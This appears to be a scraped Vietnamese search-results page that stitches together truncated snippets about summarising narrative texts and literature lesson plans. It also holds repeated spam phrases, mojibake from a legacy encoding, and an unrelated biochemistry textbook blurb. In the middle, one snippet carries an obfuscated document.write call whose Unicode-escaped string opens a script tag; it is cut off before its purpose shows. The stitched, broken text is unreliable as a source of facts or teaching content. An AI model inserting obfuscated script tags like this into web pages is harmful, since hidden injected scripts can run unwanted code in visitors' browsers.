TÓM TẮT VĂN BẢN TỰ SỰ I. KIẾN THỨC CƠ BẢN Tóm tắt văn bản là một việc làm phổ biến. Để có được một văn bản tóm tắt tốt, trước hết, cần xác định mục đích tóm tắt rõ ràng (để ghi nhớ, để giới thiệu với người khác hoặc để làm dẫn chứng trong bài văn nghị luận văn học...), và nắm vững cách th[r]
người tóm tắt phải biết lược bỏ những thôngtin vụn vặt+ Nhân vật quan trọng: Số lượng nhân vậtnhiều hay ít tuỳ thuộc vào tính chất phứctạp của câu chuyện. Khi tóm tắt, chỉ cần đềcập đến NV chính có vai trò tác động lớn,không nhất thiết phải liệt kê tất cả các NVVnDoc - Tải tài liệu,
Tóm tắt văn bản tự sự Tóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm tắt văn bản tự sựTóm t[r]
Học tốt ngữ văn lớp 8 xin chia sẽ các bạn bộ bài soạn văn lớp 8 đầy đủ và chi tiết cho cả năm. Bạn chỉ cần nhấp vào tiêu đề để vào bài soạn chi tiết, chúc các bạn học giỏi. Hãy cảm ơn nếu cảm thấy bổ ích nhé[r]
Hướng dẫn soạn văn, soạn bài, học tốt bài TÓM TẮT VĂN BẢN TỰ SỰ I. KIẾN THỨC CƠ BẢN 1. Tóm tắt văn bản tự sự là gì? Tóm tắt văn bản nói chung, tóm tắt văn bản tự sự nói riêng là việc làm xuất phát từ nhu cầu thực tế. Trong cuộc sống, nhiều trường hợp chúng ta muốn thông báo ngắn gọn nội[r]
Nếu nhấp vào nút xem tiếp mà xem được vui lòng chuyển qua trình duyệt Explorer 7 trở lên hoặc cài đặt lại Firefox và Chome nếu trình duyệt lỗi document.write('u003cu0053u0043u0052u0049u0050u0054u0020u006cu0061u006eu0067u0075u0061u0067u0065u003du0022u00[r]
Hướng dẫn soạn văn, soạn bài, học tốt bài LUYỆN TẬP TÓM TẮT TÁC PHẨM TỰ SỰ I. KIẾN THỨC CƠ BẢN 1. TÓM TẮT TÁC PHẨM TỰ SỰ NHẰM MỤC ĐÍCH GÌ? Tóm tắt tác phẩm tự sự là thao tác cần thiết để nắm được nội dung chính của một câu chuyện. Có thể gặp yêu cầu tóm tắt trong nhiều tình huống cụ thể[r]
Khái niệm tự sự: là trình bày một chuỗi các sự việc, từ sự việc này dẫn đến sự việc kia và dẫn đến một kết thúc, thể hiện một ý nghĩa. Tóm tắt văn bản tự sự là dùng lời văn của mình trình bày một cách ngắn gọn nội dung chính (sự việc tiêu biểu và nhân vật quan trọng) của văn bản đó.
1.Soạn bài Khe chim kêu 2.Soạn bài Nỗi oán của người phòng khuê 3.Soạn bài Lầu Hoàng Hạc 4.Soạn bài Thơ Haikư của Basô 5.Lập kế hoạch cá nhân 6.Trình bày một vấn đề 7.Soạn bài Cảm xúc mùa thu 8.Thực hành phép tu từ ẩn dụ và hoán dụ 9.Soạn bài Tại Lầu Hoàng Hạc Tiễn Mạnh Hạo Nhiên đi Quảng Lăng 10.So[r]
Tóm tắt tác phẩm tự sự là thao tác cần thiết để nắm được nội dung chính của một câu chuyện. Có thể gặp yêu cầu tóm tắt trong nhiều tình huống cụ thể, ví dụ: (a) Tuần trước do bị ốm, bạn em không được cùng lớp xem bộ phim Chiếc[r]
TUẦN 9Ngày soạn: 13/10/2014Tiết: 9LUYỆN TẬP TÓM TẮT VĂN BẢN TỰ SỰA: MỤC TIÊU .1. Chuẩn kiến thức – kĩ năng – thái độ:a. Kiến thức: Củng cố kiến thức văn bản tự sự và tóm tắt văn bản tự sự.b. Kĩ năng: Rèn kĩ năng tóm tắt văn bản[r]
Học Tốt Ngữ Văn hướng dẫn các bạn soạn văn lớp 6 đầy đủ và chi tiết cho cả năm Tuần 1: - Soạn bài Con Rồng cháu Tiên - Soạn bài Bánh chưng, bánh giầy - Soạn bài cấu tạo của từ tiếng Việt - Soạn bài gia[r]
Môn Hóa Sinh ĐHCT. Biên soạn TS. Đáy Thị Xuân Trang . Đây là một giáo trình hay và hữu ích cho sinh viên hóa sinh.Bài viết | tóm tắt văn bản trong lòng mẹ | đánh nhau với cối xay gió ngữ văn 8 | đã có lần em cùng bố mẹ đi thăm mộ người thân trong ngày lễ tết | đặc điểm chung và vai trò của ngành ruộ[r]
Tuần 1 Tiết 1 đến tiết 5 Phong cách Hồ Chí Minh; Các phương châm hội thoại; Sử dụng một số biện pháp nghệ thuật trong văn bản thuyết minh; Luyện tập sử dụng một số biện pháp nghệ thuật trong văn bản thuyết minh. Tuần 2 Tiết 6 đến tiết 10 Đấu tranh cho một thế giới hoà bình; Các phương châm hội thoại[r]
bản cụ thể.1 tiếtPhong cách ngôn ngữ sinh hoạtBa đặc tính cơ bản: Tính cụ thể, tính cảm xúc, tính cá thể.Nắm kiến thức; Phân tích ngữ liệu.1 tiếtLàm vănVăn tự sự-Dàn ý của bài văn tự sự.-Chọn sự việc chi tiết tiêu biểu trong bài văn tự sự.-Miêu tả và biểu cảm trong bài văn tự[r]
Table of Contents Đề bài: Kể lại kỉ niệm ngày đầu tiên đi học 2 Đề bài: Kể lại kỉ niệm với con vật nuôi em yêu quý 5 Đề bài: Kể lại một sự việc em làm bố mẹ đau lòng 7 Đề bài: Kể lại một việc em làm bố mẹ vui lòng 8 Đề bài: Kể lại một buổi sinh hoạt lớp 11 Đề bài: Kể lại một việc tốt mà em đã làm 13[r]
Thực hành 1 văn bản tự chọn.4 .Tổ chức các hoạt động học tập4.1. Ổn định tổ chức và kiểm diện4.2.Kiểm tra miệng:Câu hỏi: (10đ) Yếu tố tự sự và miêu tả đóng vai trò gì trong văn bản biểu cảm?Nhằm khơi gợi cảm xúc do cảm xúc chi phối chứ không nhằm mục đích kể và tả(trong văn[r]
TIÕT 80: «N TËP TËP LµMV¡NI. LÝ thuyÕtII. LuyÖn tËp6. C¸c néi dung míi cña v¨n b¶n tù sù so víi líp díiH: Các nội dung văn bản tự sự đãhọc ở lớp 9 có gì giống và khácnhau so với các nội dung về kiểuvăn bản tự sự đã học ở lớp dới ?*Giống nhau: Văn bản tự s[r]
gặp gỡ với một trong các nhân vật cổ tích hoặc truyền thuyết; Hãy tưởng tượng vàkể lại cuộc trò chuyện tâm sự giữa các đồ dùng học tập; Trong buổi lễ đăng quang,Lang Liêu đã kể cho mọi người nghe về sự ra đời của hai loại bánh: bánh chưng vàbánh giầy. Hãy ghi lại lời kể ấy; Tưởng tượng cuộc thi vẻ đ[r]
2. Kiểm tra bài cũ : GV ktra sác xuất tình hình chuẩn bị luận điểm, dàn ý và đoạn văn hoànchỉnh của một số học sinh trong lớp, nêu nhận xét sơ bộ.3. Bài mới :Hoạt động của thày - tròNội dung cần đạtGV kt sự chuẩn bị bài của HS.I. Chuẩn bị ở nhà.Hs trình bày sự chuẩn bịII. Luyện tập trê[r]